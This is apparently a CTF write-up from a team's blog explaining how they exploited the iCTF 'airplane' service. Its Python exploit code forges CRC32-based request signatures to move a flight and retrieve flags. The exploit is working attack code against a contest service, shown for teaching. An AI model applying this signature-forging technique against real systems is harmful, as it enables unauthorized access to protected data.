This write-up walks through the steps we took to finally end up with a working exploit for the UCSB iCTF 2012 (2013) "airplane" service.
The CTF was postponed from normally being run in early December to March 22nd. I participated again with the 0ldEur0pe team - with base of operations in the UMIC Research Center in Aachen.
Overview - the airplane service
The airplane service is written in Python and uses a ASCII, line-based request-response protocol for communicating with clients. It represents a airplane flight management system with an added storage for key-value pairs - here flagid-flag pairs.
The service files are residing in /home/airplane/service/ and it is started through its run.sh:
#!/bin/bash
./air-control.py -p 7331 &
The other files belonging to the service were:
Service Files:
service/worldmap.py - dictionary of cities and their geo-locations service/output.py - logging / debug class service/handle.py - main connection handling code, slightly obfuscated service/cairplane_database.py - initialize and wrap airplane objects service/utils.py - utility functions - most importantly ComputeSign service/air-control.py - ThreadedTCPRequestHandler - and some handling logic service/cairplane.py - airplane class, init GetKey / GetPosition / SetPosition service/password.py - service secrets - used by gameserver and for signing requests/responses
We can also take a look at one of the conversations of the gameserver to this service. I'll add [[SERVER]] and [[CLIENT]] before the requests/responses.
Conversation:
[[CLIENT]] CODE=LIST [[SERVER]] A_0009=FLIGHT "A_0009": pos=[631,402] orig="Hong Kong"([813,87]) dest="Jakarta"([355,886]) A_0019=FLIGHT "A_0019": pos=[259,633] orig="Phnom Penh"([87,798]) dest="Kiev"([341,556]) A_0021=FLIGHT "A_0021": pos=[673,620] orig="Belgrade"([737,357]) dest="Ankara"([624,828]) A_0031=FLIGHT "A_0031": pos=[559,435] orig="Vienna"([449,109]) dest="Tripoli"([737,960]) A_0043=FLIGHT "A_0043": pos=[560,435] orig="Auckland"([192,450]) dest="Tokyo"([612,434]) A_0056=FLIGHT "A_0056": pos=[193,771] orig="Phnom Penh"([87,798]) dest="Singapore"([683,650]) A_0066=FLIGHT "A_0066": pos=[371,824] orig="Melbourne"([992,616]) dest="Port-au-Prince"([249,866]) A_0071=FLIGHT "A_0071": pos=[728,652] orig="Phoenix"([984,538]) dest="Port-au-Prince"([249,866]) A_0089=FLIGHT "A_0089": pos=[455,815] orig="Phoenix"([984,538]) dest="Kabul"([236,930]) A_0098=FLIGHT "A_0098": pos=[399,870] orig="Kabul"([236,930]) dest="Hanoi"([963,663]) A_0102=FLIGHT "A_0102": pos=[696,474] orig="New York"([807,281]) dest="Antananarivo"([476,859]) A_0114=FLIGHT "A_0114": pos=[716,671] orig="Phnom Penh"([87,798]) dest="Melbourne"([992,616]) CODE=OK FLAG=FLGj2WtCX7CMWjlQ [[CLIENT]] CODE=LIST ID=A_0114 RAND=.6..FS.O SIGN=2638147f [[SERVER]] CODE=ERROR RAND=!m..A... SIGN=7484546c [[CLIENT]] CODE=SETPOS FGID=185 ID=A_0102 POSX=692 POSY=480 RAND=g.'..u.. SIGN=aac05b95 [[SERVER]] CODE=OK RAND=?.M.'3.. SIGN=1825f45d FLAG=FLGrK8C5stGDHv74
Alright, so basically the service keeps track of airplanes together with their flight origin, destination and current position. For certain actions it uses authenticated (well...) requests and responses - for example to update flight positions.
Also it has a part of functionality that allows only the gameserver to store and retrieve flags which is not shown here.
Diving into the service functionality
The ThreadedTCPRequestHandler will be started on the port given on the command-line. It hands of first processing to the handle function inside the handle.py module.
from handle import handle,z
# [...]
class ThreadedTCPRequestHandler(SocketServer.BaseRequestHandler):
# [...]
def __HandleList(self, AirplaneDatabase, dicData, Answer):
# [...]
def __HandleSetPos(self, AirplaneDatabase, dicData, Answer):
# [...]
def HandleData(self, AirplaneDatabase, szData, Answer):
# [...]
def handle(self):
handle(self)
The handle function is slightly obfuscated as the handle.py module contains an exec on a string containing the code. However if one just prints that string it's perfectly readable. Careful, wall of python code incoming! I only include the parts needed for the actual vuln and thus our exploit.
class C0(object):
# [...]
def R(self):
# [...]
# if the request had an ID field and also RAND/SIGN
# then the response will also be signed
if self.__v10 == True:
self.v1["RAND"] = utils.GenRandomValues(8)
self.v1["SIGN"] = utils.ComputeSign(self.v1, self.__v3) # v1 is the response dict, __v3 is the key
v3=""
for k in sorted(self.v1.keys()):
v3 += "%s=%s\n" % (k, self.v1[k])
if self.v1["CODE"] == "OK":
# v9 gets set in D() Method (see below)
if len(self.__v9) > 0 and z.has_key(self.__v9) == True:
f = z[self.__v9]
else:
f = G("L")
v3 += "%s=%s\n" % (chr(70)+Q([28,23]), f)
v3 += "\n"
return v3
def D(self, v9):
self.__v9 = v9
# [...]
z = {}
def handle(o):
# [...]
# set v10 (flag id) and hand data off to the RequestHandler.HandleData(AirplaneDatabase, szData, Answer)
if v5.G() == None and b == False:
m = re.search("FGID=([^\n]+)\n", v8)
if m != None:
v10 = m.group(1)
if o.HandleData(v9, v8, v5) == False:
v5.S("ERROR")
else:
b = True
# HandleData needs to be successful
# this is where the flag lookup
if b == True:
for a in v9.GetAirplanes().values():
if abs(math.atan(float(abs(a.Dy-a.Py))/float(abs(a.Dx-a.Px))) - a.angle) >= f:
v5.D(v10)
break
o.request.sendall(v5.R())
We need one more code location for the explanation:
def ComputeSign(d, szKey):
s = ""
for k in sorted(d.keys()):
s += "%s:%s;" %(k, d[k])
s = "%s%s" % (s, szKey)
return "%.8x" % (binascii.crc32(s) & 0xffffffff)
The vulnerability
The only way to access flag data is contained in the R function. It takes values from the z dict when self.__v9 is a valid dictionary key (thus flag-id). We can only set that attribute through calling the D method - and that again only is possible by directing the program flow of the handle function into the last forloop's inner if-statement.
Now what does that if statement mean? Basically, going through all airplanes, it checks if the "angle" of the current flight direction deviates more than 0.1 from the original angle between origin and destination of the corresponding flight.
OK, let's re-route a flight
So to get our precious flag we need to update a flight's current position to somwhere where it's angle to the destination is way off what it should be. To be able to do that we need to send a "SETPOS" request as seen in the above conversation of the gameserver with our service. the SETPOS request needs to be signed though. And that leads us to the vulnerability in the service. The signatures depend on the request contents and a secret MASTER_KEY that we do not have. However for the signature values it uses CRC32 - which is not a cryptographic hash function and thus allows us to craft a request that will has the same signature as another message.
We will thus steal one of the service's response message signatures, craft our own SETPOS request that will end up having the same CRC32 signature, so that the service accepts it and returns the flag.
So far so good - how exactly do we do that? We pay our good friend StalkR a visit, who has appropriate CRC32 forging code ready - and it's in Python :)
Before being able to use the code we need to request the list of flights.
MEGAREGEX = 'FLIGHT "([A_0-9]{6})".*pos=\[(\d+),(\d+)\].*orig="([A-Za-z ]+).*dest="([A-Za-z ]+)"\(\[(\d+),(\d+)'
def do_exploit(self, flag_id):
self.send("CODE=LIST\n\n")
buf = self.recvuntil("CODE=OK")
flights = filter(lambda x: 'FLIGHT' in x, buf.split('\n'))
flight = flights[0]
fid, posx, posy, szOrigin, szDestination, dx, dy = re.findall(MEGAREGEX, flight)[0]
To be able to deviate the flight position into the correct direction, we employ some math and put it into really ugly python code:
posx, posy, dx, dy = int(posx), int(posy), int(dx), int(dy)
ox, oy = (dy-posy)*1.0, (dx-posx) *-1.0
iDiff = int(math.sqrt((ox) ** 2 + (oy) ** 2))
ox, oy = int(ox/iDiff * 70), int(oy/iDiff*70)
This should yield a vector (ox,oy) that offsets the flight position orthogonal to its current direction. Also there is a limit on the distance the flight can travel with one SETPOS request - hence the normalizing and multiplying with 70 (100/sqrt(2)).
Now we generate a request with a wrong signature so that we get a signed ERROR message from the service. Then we use that ERROR message signature together with a crafted SETPOS request and the CRC32 forging code to trick the signature verification.
self.send("CODE=LIST\nID={0}\nRAND=.6..FS.O\nSIGN=2638147f\n\n".format(fid))
buf = self.recvuntil("SIGN")
x = buf.find('RAND')
pulen = buf.find("SIGN")
d = dict(CODE="ERROR", RAND=buf[x+5:x+5+8])
targetcrc = ComputeSignNum(d, '')
d = dict(CODE="SETPOS", FGID=flag_id, ID=fid, POSX=str(int(posx)+ox), POSY=str(int(posy)+oy), RAND=GenRandomValues(4))
oldinput = ComputeSignEx(d, '')
# thanks, StalkR
newinput = forge(targetcrc, oldinput, len(oldinput)-1)
Finally we send out that request and then read in the FLAG from the response - profit!
d['RAND'] = newinput[-9:-1]
d['SIGN'] = buf[pulen+5:pulen+5+8]
self.send("\n".join("{0}={1}".format(k,v) for k,v in d.items()) + "\n\n")
buf = self.recvuntil("FLAG")
lines = filter(lambda x: 'FLAG' in x, buf.split('\n'))
if len(lines) > 0:
self.flag = lines[0].split('=')[1]
I put the complete exploit (careful, ugly mess of python code) to a gist here. When we uploaded that and it actually worked - people were surprised and scared at the same time. We thought about rewriting it a bit before uploading - but I think it shows quite nicely under which pressure we all are coding during a CTF ;)
Picture Source
Aftermath
Basically this exploit took us relatively long to build because of struggling with the new iCTF exploit framework style (the exploit runs on their systems, not on ours) and also because we did try to analyze the setflag/getflag functionality that the gameserver uses before thinking about the vulnerability presented above.
In the end it was a nice service - not too straight-forward to exploit, but also not overly complicated. We struggled also a bit to get the CRC32 collision going - thankfully Andy Straub found StalkR's post in the end. That saved us a lot of time.
I was working on this service together with Andy. While getting frustrated along the way, in the end this was quite fun!
The team (0ldEur0pe) only managed to get top 20 in the end - but that seems to be our story for iCTFs in the last years :)
-- mark